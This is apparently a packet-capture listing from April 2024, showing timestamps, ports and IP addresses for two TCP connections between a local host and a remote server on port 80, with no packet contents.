Apr 23, 2024 08:39:58.874207020 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.874209881 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.874233007 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.874284983 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.874305010 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.874316931 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.874336958 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.874358892 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.874372959 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.874377012 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.874391079 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.874393940 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.874414921 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.874435902 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.874449015 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.874455929 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.874474049 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.874531031 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.874552011 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.874583960 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.874583960 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.874596119 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.874614000 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.874629021 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.874641895 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.874702930 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.874713898 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.874727011 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.874732971 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.874738932 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.874757051 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.874815941 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.874968052 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.874980927 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.874993086 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.875010967 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.875073910 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.875087976 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.875097036 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.875114918 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.875133991 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.875145912 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.875175953 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.875189066 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.875220060 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.875231981 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.875231981 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.875231981 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.875242949 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.875260115 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.875274897 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.875289917 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.875297070 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.875338078 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.875339031 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.875339985 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.875351906 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.875364065 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.875382900 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.875386000 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.875406027 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.875427008 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.875428915 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.875463963 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.875477076 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.875494003 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.875550985 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.875570059 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.875602007 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.875622988 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.875639915 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.875643015 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.875684023 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.875705004 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.875776052 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.875787973 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.875794888 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.875798941 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.875809908 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.875822067 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.875822067 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.875822067 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.875833988 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.875843048 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.875857115 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.875874996 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.875888109 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.875910044 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.875914097 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.875931025 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.875932932 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.875952959 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.875955105 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.875972986 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.875988007 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.876004934 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.876024008 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.876035929 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.876044035 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.876046896 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.876065969 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.876087904 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.876107931 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.876108885 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.876127958 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.876137018 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.876149893 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.876159906 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.876162052 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.876194000 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.876210928 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.876210928 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.876234055 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.876264095 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.876296043 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.876336098 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.876358986 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.876427889 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.876441002 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.876446962 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.876465082 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.876475096 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.876487017 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.876493931 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.876501083 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.876530886 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.876543999 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.876549959 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.876554012 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.876555920 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.876565933 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.876586914 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.876586914 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.876596928 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.876609087 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.876616001 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.876621008 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.876638889 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.876662970 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.876676083 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.876682043 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.876687050 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.876698017 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.876703978 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.876729965 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.876741886 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.876741886 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.876741886 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.876761913 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.876827002 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.876838923 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.876846075 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.876851082 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.876868010 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.876880884 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.876887083 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.876887083 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.876894951 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.876926899 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.876946926 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.876969099 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.876991034 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.876991987 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.877012014 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.877019882 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.877037048 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.877054930 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.877064943 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.877129078 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.877141953 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.877149105 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.877156973 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.877228022 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.877239943 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.877252102 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.877264023 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.877276897 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.877284050 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.877295971 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.877320051 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.877336025 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.877347946 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.877423048 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.877435923 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.877443075 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.877448082 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.877465963 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.877470970 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.877481937 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.877487898 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.877494097 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.877500057 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.877537012 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.877540112 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.877644062 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.877686977 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.877698898 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.877705097 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.877721071 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.877743006 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.877763033 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.877783060 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.877793074 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.877795935 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.877832890 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.877832890 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.877854109 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.877918005 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.877928972 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.877937078 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.877939939 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.877952099 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.877959967 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.877959967 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.877963066 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.877980947 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.877985001 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.878004074 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.878026009 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.878052950 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.878088951 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.878231049 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.878325939 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.878339052 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.878345966 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.878349066 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.878359079 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.878381014 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.878382921 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.878384113 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.878392935 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.878463984 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.878483057 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.878540993 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.878551006 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.878563881 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.878585100 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.878606081 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.878608942 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.878623962 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.878631115 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.878650904 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.878671885 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.878690958 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.878726006 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.878757000 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.878770113 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.878781080 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.878798962 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.878832102 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.878850937 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.878873110 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.878885031 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.878895998 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.878916979 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.878931999 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.878931999 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.878981113 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.878993988 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.878999949 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.879012108 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.879081964 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.879093885 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.879101038 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.879113913 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.879116058 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.879136086 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.879148006 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.879169941 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.879183054 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.879203081 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.879235029 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.879256010 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.879379034 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.879401922 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.879412889 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.879430056 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.879448891 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.879466057 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.879467964 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.879484892 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.879548073 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.879559040 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.879560947 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.879570961 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.879578114 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.879584074 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.879590988 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.879595041 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.879606009 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.879606009 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.879622936 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.879646063 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.879646063 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.879667997 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.879702091 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.879740000 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.879759073 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.879801989 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.879815102 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.879821062 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.879826069 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.879843950 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.879847050 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.879865885 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.879945993 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.879957914 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.879966974 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.879975080 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.879978895 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.879987001 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.879997969 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.880008936 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.880043983 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.880043983 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.880067110 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.880143881 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.880167961 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.880188942 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.880202055 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.880213022 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.880208015 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.880223036 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.880245924 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.880259037 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.880265951 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.880270004 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.880278111 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.880326033 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.880347967 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.880359888 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.880372047 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.880383015 CEST	80	49705	138.199.40.58	192.168.2.7
